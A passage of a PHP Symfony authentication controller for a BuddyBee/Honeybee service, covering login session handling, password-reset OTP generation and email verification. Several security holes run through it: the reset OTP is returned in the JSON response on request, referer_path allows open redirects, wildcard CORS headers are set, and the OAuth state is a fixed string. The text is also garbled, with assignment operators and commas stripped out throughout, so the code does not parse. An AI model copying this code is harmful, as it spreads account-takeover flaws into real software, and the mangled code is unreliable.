  7730.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7731.                                 $d = array(
  7732.                                     'userType' => $thisUserUserType,
  7733. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7734.                                     'userTypeName' => $userTypeName,
  7735.                                     'globalId' => $globalId,
  7736.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7737.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7738.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7739.                                     'systemType' => '_ERP_',
  7740.                                     'companyId' => 1,
  7741.                                     'appId' => $thisUserAppId,
  7742.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7743.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7744.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7745.                                             array(
  7746.                                                 'globalId' => $globalId,
  7747.                                                 'appId' => $thisUserAppId,
  7748.                                                 'authenticate' => 1,
  7749.                                                 'userType' => $thisUserUserType,
  7750.                                                 'userTypeName' => $userTypeName
  7751.                                             )
  7752.                                         )
  7753.                                     ),
  7754.                                     'userCompanyList' => [
  7755.                                     ]
  7756.                                 );
  7757.                                 $accessList[] = $d;
  7758.                             }
  7759.                         }
  7760.                     }
  7761.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7762.                     $session_data['userAccessList'] = $accessList;
  7763.                     $session->set('userAccessList'json_encode($accessList));
  7764.                     $session_data $this->filterClientSessionData($session_data);
  7765.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7766.                     $session_data $tokenData['sessionData'];
  7767.                     $token $tokenData['token'];
  7768.                     $session->set('token'$token);
  7769.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7770.                         $session->set('remoteVerified'1);
  7771.                         $response = new JsonResponse(array(
  7772.                             'token' => $token,
  7773.                             'uid' => $session->get(UserConstants::USER_ID),
  7774.                             'session' => $session,
  7775.                             'success' => true,
  7776.                             'session_data' => $session_data,
  7777.                         ));
  7778.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7779.                         return $response;
  7780.                     }
  7781.                     if ($request->request->has('referer_path')) {
  7782.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7783.                             return $this->redirect($request->request->get('referer_path'));
  7784.                         }
  7785.                     }
  7786.                     $redirectRoute 'applicant_dashboard';
  7787.                     if ($request->query->has('encData')) {
  7788.                         if ($request->query->get('encData') == '8917922')
  7789.                             $redirectRoute 'apply_for_consultant';
  7790.                     }
  7791.                     return $this->redirectToRoute($redirectRoute);
  7792.                 }
  7793. //                    $response = new JsonResponse(array(
  7794. //                        'token' => $token,
  7795. //                        'uid' => $session->get(UserConstants::USER_ID),
  7796. //                        'session' => $session,
  7797. //
  7798. //                        'success' => true,
  7799. //                        'session_data' => $session_data,
  7800. //
  7801. //                    ));
  7802. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7803. //                    return $response;
  7804. //                    return $this->redirectToRoute("user_login", [
  7805. //                        'id' => $isApplicantExist->getApplicantId(),
  7806. //                        'oAuthData' => $oAuthData,
  7807. //                        'encData' => $encData,
  7808. //                        'locale' => $request->request->get('locale', 'en'),
  7809. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7810. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7811. //                    ]);
  7812.             }
  7813.         }
  7814.         $selector BuddybeeConstant::$selector;
  7815.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7816.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7817.         if ($systemType == '_ERP_') {
  7818.         } else if ($systemType == '_SOPHIA_') {
  7819.             return $this->render(
  7820.                 '@Sophia/pages/views/sofia_login.html.twig',
  7821.                 [
  7822.                     'page_title' => 'Sophia Login',
  7823.                     'oAuthLink' => $google_client->createAuthUrl(),
  7824.                     'redirect_url' => $url,
  7825.                     'message' => $message,
  7826.                     'systemType' => $systemType,
  7827.                     'ownServerId' => $ownServerId,
  7828.                     'errorField' => '',
  7829.                     'encData' => $encData,
  7830.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7831.                     'selector' => $selector,
  7832.                 ]
  7833.             );
  7834.         } else if ($systemType == '_CENTRAL_') {
  7835.             return $this->render(
  7836.                 '@Authentication/pages/views/central_login.html.twig',
  7837.                 [
  7838.                     'page_title' => 'Central Login',
  7839.                     'oAuthLink' => $google_client->createAuthUrl(),
  7840.                     'redirect_url' => $url,
  7841.                     'message' => $message,
  7842.                     'systemType' => $systemType,
  7843.                     'ownServerId' => $ownServerId,
  7844.                     'errorField' => '',
  7845.                     'encData' => $encData,
  7846.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7847.                     'selector' => $selector,
  7848.                 ]
  7849.             );
  7850.         } else if ($systemType == '_BUDDYBEE_') {
  7851.             return $this->render(
  7852.                 '@Authentication/pages/views/applicant_login.html.twig',
  7853.                 [
  7854.                     'page_title' => 'BuddyBee Login',
  7855.                     'oAuthLink' => $google_client->createAuthUrl(),
  7856.                     'redirect_url' => $url,
  7857.                     'message' => $message,
  7858.                     'errorField' => $errorField,
  7859.                     'encData' => $encData,
  7860.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7861.                     'selector' => $selector
  7862.                 ]
  7863.             );
  7864.         }
  7865.         return $this->render(
  7866.             '@Authentication/pages/views/applicant_login.html.twig',
  7867.             [
  7868.                 'page_title' => 'Applicant Registration',
  7869.                 'oAuthLink' => $google_client->createAuthUrl(),
  7870.                 'redirect_url' => $url,
  7871.                 'encData' => $encData,
  7872.                 'message' => $message,
  7873.                 'errorField' => $errorField,
  7874.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7875.                 'selector' => $selector
  7876.             ]
  7877.         );
  7878.     }
  7879.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7880.     {
  7881. //        $userCategory=$request->request->has('userCategory');
  7882.         $encryptedData = [];
  7883.         $errorField '';
  7884.         $message '';
  7885.         $userType '';
  7886.         $otpExpireSecond 180;
  7887.         $otpExpireTs 0;
  7888.         $otp '';
  7889.         if ($encData != '')
  7890.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7891. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7892.         $userCategory '_BUDDYBEE_USER_';
  7893.         if (isset($encryptedData['userCategory']))
  7894.             $userCategory $encryptedData['userCategory'];
  7895.         else
  7896.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7897.         $em $this->getDoctrine()->getManager('company_group');
  7898.         $em_goc $this->getDoctrine()->getManager('company_group');
  7899.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7900.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7901.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7902.         $twigData = [];
  7903.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7904.         $email_address $request->request->get('email''');
  7905.         $email_twig_data = [];
  7906.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7907.         if ($request->isMethod('POST')) {
  7908.             //set an otp and its expire and send mail
  7909.             $email_address $request->request->get('email');
  7910.             $userObj null;
  7911.             $userData = [];
  7912.             if ($systemType == '_ERP_') {
  7913.                 if ($userCategory == '_APPLICANT_') {
  7914.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7915.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7916.                         array(
  7917.                             'email' => $email_address
  7918.                         )
  7919.                     );
  7920.                     if ($userObj) {
  7921.                     } else {
  7922.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7923.                             array(
  7924.                                 'oAuthEmail' => $email_address
  7925.                             )
  7926.                         );
  7927.                         if ($userObj) {
  7928.                         } else {
  7929.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7930.                                 array(
  7931.                                     'username' => $email_address
  7932.                                 )
  7933.                             );
  7934.                         }
  7935.                     }
  7936.                     if ($userObj) {
  7937.                         $email_address $userObj->getEmail();
  7938.                         if ($email_address == null || $email_address == '')
  7939.                             $email_address $userObj->getOAuthEmail();
  7940.                     }
  7941. //                    triggerResetPassword:
  7942. //                    type: integer
  7943. //                          nullable: true
  7944.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7945.                     $otp $otpData['otp'];
  7946.                     $otpExpireTs $otpData['expireTs'];
  7947.                     $userObj->setOtp($otpData['otp']);
  7948.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7949.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7950.                     $em_goc->flush();
  7951.                     $userData = array(
  7952.                         'id' => $userObj->getApplicantId(),
  7953.                         'email' => $email_address,
  7954.                         'appId' => 0,
  7955. //                        'appId'=>$userObj->getUserAppId(),
  7956.                     );
  7957.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7958.                     $email_twig_data = [
  7959.                         'page_title' => 'Find Account',
  7960.                         'encryptedData' => $encryptedData,
  7961.                         'message' => $message,
  7962.                         'userType' => $userType,
  7963.                         'errorField' => $errorField,
  7964.                         'otp' => $otpData['otp'],
  7965.                         'otpExpireSecond' => $otpExpireSecond,
  7966.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  7967.                         'otpExpireTs' => $otpData['expireTs'],
  7968.                         'systemType' => $systemType,
  7969.                         'userData' => $userData
  7970.                     ];
  7971.                     if ($userObj)
  7972.                         $email_twig_data['success'] = true;
  7973.                 } else {
  7974.                     $userType UserConstants::USER_TYPE_GENERAL;
  7975.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7976.                     $email_twig_data = [
  7977.                         'page_title' => 'Find Account',
  7978.                         'encryptedData' => $encryptedData,
  7979.                         'message' => $message,
  7980.                         'userType' => $userType,
  7981.                         'errorField' => $errorField,
  7982.                     ];
  7983.                 }
  7984.             } else if ($systemType == '_CENTRAL_') {
  7985.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7986.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7987.                     array(
  7988.                         'email' => $email_address
  7989.                     )
  7990.                 );
  7991.                 if ($userObj) {
  7992.                 } else {
  7993.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7994.                         array(
  7995.                             'oAuthEmail' => $email_address
  7996.                         )
  7997.                     );
  7998.                     if ($userObj) {
  7999.                     } else {
  8000.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8001.                             array(
  8002.                                 'username' => $email_address
  8003.                             )
  8004.                         );
  8005.                     }
  8006.                 }
  8007.                 if ($userObj) {
  8008.                     $email_address $userObj->getEmail();
  8009.                     if ($email_address == null || $email_address == '')
  8010.                         $email_address $userObj->getOAuthEmail();
  8011.                     //                    triggerResetPassword:
  8012. //                    type: integer
  8013. //                          nullable: true
  8014.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8015.                     $otp $otpData['otp'];
  8016.                     $otpExpireTs $otpData['expireTs'];
  8017.                     $userObj->setOtp($otpData['otp']);
  8018.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8019.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8020.                     $em_goc->flush();
  8021.                     $userData = array(
  8022.                         'id' => $userObj->getApplicantId(),
  8023.                         'email' => $email_address,
  8024.                         'appId' => 0,
  8025.                         'image' => $userObj->getImage(),
  8026.                         'firstName' => $userObj->getFirstname(),
  8027.                         'lastName' => $userObj->getLastname(),
  8028.                         'phone' => $userObj->getPhone(),
  8029. //                        'appId'=>$userObj->getUserAppId(),
  8030.                     );
  8031.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8032.                     $email_twig_data = [
  8033.                         'page_title' => 'Find Account',
  8034.                         'encryptedData' => $encryptedData,
  8035.                         'message' => $message,
  8036.                         'userType' => $userType,
  8037.                         'errorField' => $errorField,
  8038.                         'otp' => $otpData['otp'],
  8039.                         'otpExpireSecond' => $otpExpireSecond,
  8040.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8041.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8042.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8043.                         'otpExpireTs' => $otpData['expireTs'],
  8044.                         'systemType' => $systemType,
  8045.                         'userCategory' => $userCategory,
  8046.                         'userData' => $userData
  8047.                     ];
  8048.                     $email_twig_data['success'] = true;
  8049.                 } else {
  8050.                     $message "Oops! Could not find your account";
  8051.                     $email_twig_data['success'] = false;
  8052.                 }
  8053.             } else if ($systemType == '_BUDDYBEE_') {
  8054.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8055.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8056.                     array(
  8057.                         'email' => $email_address
  8058.                     )
  8059.                 );
  8060.                 if ($userObj) {
  8061.                 } else {
  8062.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8063.                         array(
  8064.                             'oAuthEmail' => $email_address
  8065.                         )
  8066.                     );
  8067.                     if ($userObj) {
  8068.                     } else {
  8069.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8070.                             array(
  8071.                                 'username' => $email_address
  8072.                             )
  8073.                         );
  8074.                     }
  8075.                 }
  8076.                 if ($userObj) {
  8077.                     $email_address $userObj->getEmail();
  8078.                     if ($email_address == null || $email_address == '')
  8079.                         $email_address $userObj->getOAuthEmail();
  8080.                     //                    triggerResetPassword:
  8081. //                    type: integer
  8082. //                          nullable: true
  8083.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8084.                     $otp $otpData['otp'];
  8085.                     $otpExpireTs $otpData['expireTs'];
  8086.                     $userObj->setOtp($otpData['otp']);
  8087.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8088.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8089.                     $em_goc->flush();
  8090.                     $userData = array(
  8091.                         'id' => $userObj->getApplicantId(),
  8092.                         'email' => $email_address,
  8093.                         'appId' => 0,
  8094.                         'image' => $userObj->getImage(),
  8095.                         'firstName' => $userObj->getFirstname(),
  8096.                         'lastName' => $userObj->getLastname(),
  8097.                         'phone' => $userObj->getPhone(),
  8098. //                        'appId'=>$userObj->getUserAppId(),
  8099.                     );
  8100.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8101.                     $email_twig_data = [
  8102.                         'page_title' => 'Find Account',
  8103.                         'encryptedData' => $encryptedData,
  8104.                         'message' => $message,
  8105.                         'userType' => $userType,
  8106.                         'errorField' => $errorField,
  8107.                         'otp' => $otpData['otp'],
  8108.                         'otpExpireSecond' => $otpExpireSecond,
  8109.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8110.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8111.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8112.                         'otpExpireTs' => $otpData['expireTs'],
  8113.                         'systemType' => $systemType,
  8114.                         'userCategory' => $userCategory,
  8115.                         'userData' => $userData
  8116.                     ];
  8117.                     $email_twig_data['success'] = true;
  8118.                 } else {
  8119.                     $message "Oops! Could not find your account";
  8120.                     $email_twig_data['success'] = false;
  8121.                 }
  8122.             }
  8123.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8124.                 if ($systemType == '_BUDDYBEE_') {
  8125.                     $bodyHtml '';
  8126.                     $bodyTemplate $email_twig_file;
  8127.                     $bodyData $email_twig_data;
  8128.                     $attachments = [];
  8129.                     $forwardToMailAddress $email_address;
  8130. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8131.                     $new_mail $this->get('mail_module');
  8132.                     $new_mail->sendMyMail(array(
  8133.                         'senderHash' => '_CUSTOM_',
  8134.                         //                        'senderHash'=>'_CUSTOM_',
  8135.                         'forwardToMailAddress' => $forwardToMailAddress,
  8136.                         'subject' => 'Account Verification',
  8137. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8138.                         'attachments' => $attachments,
  8139.                         'toAddress' => $forwardToMailAddress,
  8140.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8141.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8142.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8143.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8144.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8145. //                            'emailBody' => $bodyHtml,
  8146.                         'mailTemplate' => $bodyTemplate,
  8147.                         'templateData' => $bodyData,
  8148. //                        'embedCompanyImage' => 1,
  8149. //                        'companyId' => $companyId,
  8150. //                        'companyImagePath' => $company_data->getImage()
  8151.                     ));
  8152.                 } else if ($systemType == '_CENTRAL_') {
  8153.                     $bodyHtml '';
  8154.                     $bodyTemplate $email_twig_file;
  8155.                     $bodyData $email_twig_data;
  8156.                     $attachments = [];
  8157.                     $forwardToMailAddress $email_address;
  8158. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8159.                     $new_mail $this->get('mail_module');
  8160.                     $new_mail->sendMyMail(array(
  8161.                         'senderHash' => '_CUSTOM_',
  8162.                         //                        'senderHash'=>'_CUSTOM_',
  8163.                         'forwardToMailAddress' => $forwardToMailAddress,
  8164.                         'subject' => 'Account Verification',
  8165. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8166.                         'attachments' => $attachments,
  8167.                         'toAddress' => $forwardToMailAddress,
  8168.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8169.                         'userName' => 'accounts@ourhoneybee.eu',
  8170.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8171.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8172.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8173. //                            'emailBody' => $bodyHtml,
  8174.                         'mailTemplate' => $bodyTemplate,
  8175.                         'templateData' => $bodyData,
  8176. //                        'embedCompanyImage' => 1,
  8177. //                        'companyId' => $companyId,
  8178. //                        'companyImagePath' => $company_data->getImage()
  8179.                     ));
  8180.                 } else {
  8181.                     $bodyHtml '';
  8182.                     $bodyTemplate $email_twig_file;
  8183.                     $bodyData $email_twig_data;
  8184.                     $attachments = [];
  8185.                     $forwardToMailAddress $email_address;
  8186. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8187.                     $new_mail $this->get('mail_module');
  8188.                     $new_mail->sendMyMail(array(
  8189.                         'senderHash' => '_CUSTOM_',
  8190.                         //                        'senderHash'=>'_CUSTOM_',
  8191.                         'forwardToMailAddress' => $forwardToMailAddress,
  8192.                         'subject' => 'Applicant Registration on Honeybee',
  8193. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8194.                         'attachments' => $attachments,
  8195.                         'toAddress' => $forwardToMailAddress,
  8196.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8197.                         'userName' => 'accounts@ourhoneybee.eu',
  8198.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8199.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8200.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8201.                         'emailBody' => $bodyHtml,
  8202.                         'mailTemplate' => $bodyTemplate,
  8203.                         'templateData' => $bodyData,
  8204. //                        'embedCompanyImage' => 1,
  8205. //                        'companyId' => $companyId,
  8206. //                        'companyImagePath' => $company_data->getImage()
  8207.                     ));
  8208.                 }
  8209.             }
  8210.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8211.                 if ($systemType == '_BUDDYBEE_') {
  8212.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8213.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8214.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8215.                      _APPEND_CODE_';
  8216.                     $msg str_replace($searchVal$replaceVal$msg);
  8217.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8218.                     $sendType 'all';
  8219.                     $socketUserIds = [];
  8220.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8221.                 } else {
  8222.                 }
  8223.             }
  8224.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8225.                 $response = new JsonResponse(array(
  8226.                         'templateData' => $twigData,
  8227.                         'message' => $message,
  8228. //                        "otp"=>'',
  8229.                         "otp" => $otp,
  8230.                         "otpExpireTs" => $otpExpireTs,
  8231.                         'actionData' => $email_twig_data,
  8232.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8233.                     )
  8234.                 );
  8235.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8236.                 return $response;
  8237.             } else if ($email_twig_data['success'] == true) {
  8238.                 $encData = array(
  8239.                     "userType" => $userType,
  8240.                     "otp" => '',
  8241. //                "otp"=>$otp,
  8242.                     "otpExpireTs" => $otpExpireTs,
  8243.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8244.                     "userCategory" => $userCategory,
  8245.                     "userId" => $userData['id'],
  8246.                     "systemType" => $systemType,
  8247.                     "email" => $email_address,
  8248.                 );
  8249.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8250.                 $url $this->generateUrl(
  8251.                     'verify_otp'
  8252.                 );
  8253.                 return $this->redirect($url "/" $encDataStr);
  8254. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8255. ////                    'encData'
  8256. ////                'id' => $isApplicantExist->getApplicantId(),
  8257. ////                'oAuthData' => $oAuthData,
  8258. ////                'refRoute' => $refRoute,
  8259. //                ]);
  8260.             }
  8261.         }
  8262.         if ($systemType == '_ERP_') {
  8263.             if ($userCategory == '_APPLICANT_') {
  8264.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8265.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8266.                 $twigData = [
  8267.                     'page_title' => 'Find Account',
  8268.                     'encryptedData' => $encryptedData,
  8269.                     'message' => $message,
  8270.                     'systemType' => $systemType,
  8271.                     'ownServerId' => $ownServerId,
  8272.                     'userType' => $userType,
  8273.                     'errorField' => $errorField,
  8274.                 ];
  8275.             } else {
  8276.                 $userType UserConstants::USER_TYPE_GENERAL;
  8277.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8278.                 $twigData = [
  8279.                     'page_title' => 'Find Account',
  8280.                     'encryptedData' => $encryptedData,
  8281.                     'systemType' => $systemType,
  8282.                     'ownServerId' => $ownServerId,
  8283.                     'message' => $message,
  8284.                     'userType' => $userType,
  8285.                     'errorField' => $errorField,
  8286.                 ];
  8287.             }
  8288.         } else if ($systemType == '_CENTRAL_') {
  8289.             $userType UserConstants::USER_TYPE_APPLICANT;
  8290.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8291.             $twigData = [
  8292.                 'page_title' => 'Find Account',
  8293.                 'encryptedData' => $encryptedData,
  8294.                 'systemType' => $systemType,
  8295.                 'ownServerId' => $ownServerId,
  8296.                 "otp" => '',
  8297. //                "otp"=>$otp,
  8298.                 "otpExpireTs" => $otpExpireTs,
  8299.                 'message' => $message,
  8300.                 'userType' => $userType,
  8301.                 'errorField' => $errorField,
  8302.             ];
  8303.         } else if ($systemType == '_BUDDYBEE_') {
  8304.             $userType UserConstants::USER_TYPE_APPLICANT;
  8305.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8306.             $twigData = [
  8307.                 'page_title' => 'Find Account',
  8308.                 'encryptedData' => $encryptedData,
  8309.                 "otp" => '',
  8310.                 'systemType' => $systemType,
  8311.                 'ownServerId' => $ownServerId,
  8312. //                "otp"=>$otp,
  8313.                 "otpExpireTs" => $otpExpireTs,
  8314.                 'message' => $message,
  8315.                 'userType' => $userType,
  8316.                 'errorField' => $errorField,
  8317.             ];
  8318.         }
  8319.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8320.             $response = new JsonResponse(array(
  8321.                     'templateData' => $twigData,
  8322.                     'message' => $message,
  8323.                     "otp" => '',
  8324. //                "otp"=>$otp,
  8325.                     "otpExpireTs" => $otpExpireTs,
  8326.                     'actionData' => $email_twig_data,
  8327.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8328.                 )
  8329.             );
  8330.             $response->headers->set('Access-Control-Allow-Origin''*');
  8331.             return $response;
  8332.         } else {
  8333.             return $this->render(
  8334.                 $twig_file,
  8335.                 $twigData
  8336.             );
  8337.         }
  8338.     }
  8339.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8340.     {
  8341. //        $userCategory=$request->request->has('userCategory');
  8342.         $encryptedData = [];
  8343.         $errorField '';
  8344.         $message '';
  8345.         $userType '';
  8346.         $otpExpireSecond 180;
  8347.         $otpExpireTs 0;
  8348.         $otp '';
  8349.         if ($encData != '')
  8350.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8351. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8352.         $userCategory '_BUDDYBEE_USER_';
  8353.         if (isset($encryptedData['userCategory']))
  8354.             $userCategory $encryptedData['userCategory'];
  8355.         else
  8356.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8357.         $em $this->getDoctrine()->getManager('company_group');
  8358.         $em_goc $this->getDoctrine()->getManager('company_group');
  8359.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8360.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8361.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8362.         $twigData = [];
  8363.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8364.         $email_address $request->request->get('email''');
  8365.         $email_twig_data = [];
  8366.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8367.         if ($request->isMethod('POST')) {
  8368.             //set an otp and its expire and send mail
  8369.             $email_address $request->request->get('email');
  8370.             $userObj null;
  8371.             $userData = [];
  8372.             if ($systemType == '_ERP_') {
  8373.                 if ($userCategory == '_APPLICANT_') {
  8374.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8375.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8376.                         array(
  8377.                             'email' => $email_address
  8378.                         )
  8379.                     );
  8380.                     if ($userObj) {
  8381.                     } else {
  8382.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8383.                             array(
  8384.                                 'oAuthEmail' => $email_address
  8385.                             )
  8386.                         );
  8387.                         if ($userObj) {
  8388.                         } else {
  8389.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8390.                                 array(
  8391.                                     'username' => $email_address
  8392.                                 )
  8393.                             );
  8394.                         }
  8395.                     }
  8396.                     if ($userObj) {
  8397.                         $email_address $userObj->getEmail();
  8398.                         if ($email_address == null || $email_address == '')
  8399.                             $email_address $userObj->getOAuthEmail();
  8400.                     }
  8401. //                    triggerResetPassword:
  8402. //                    type: integer
  8403. //                          nullable: true
  8404.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8405.                     $otp $otpData['otp'];
  8406.                     $otpExpireTs $otpData['expireTs'];
  8407.                     $userObj->setOtp($otpData['otp']);
  8408.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8409.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8410.                     $em_goc->flush();
  8411.                     $userData = array(
  8412.                         'id' => $userObj->getApplicantId(),
  8413.                         'email' => $email_address,
  8414.                         'appId' => 0,
  8415. //                        'appId'=>$userObj->getUserAppId(),
  8416.                     );
  8417.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8418.                     $email_twig_data = [
  8419.                         'page_title' => 'Find Account',
  8420.                         'encryptedData' => $encryptedData,
  8421.                         'message' => $message,
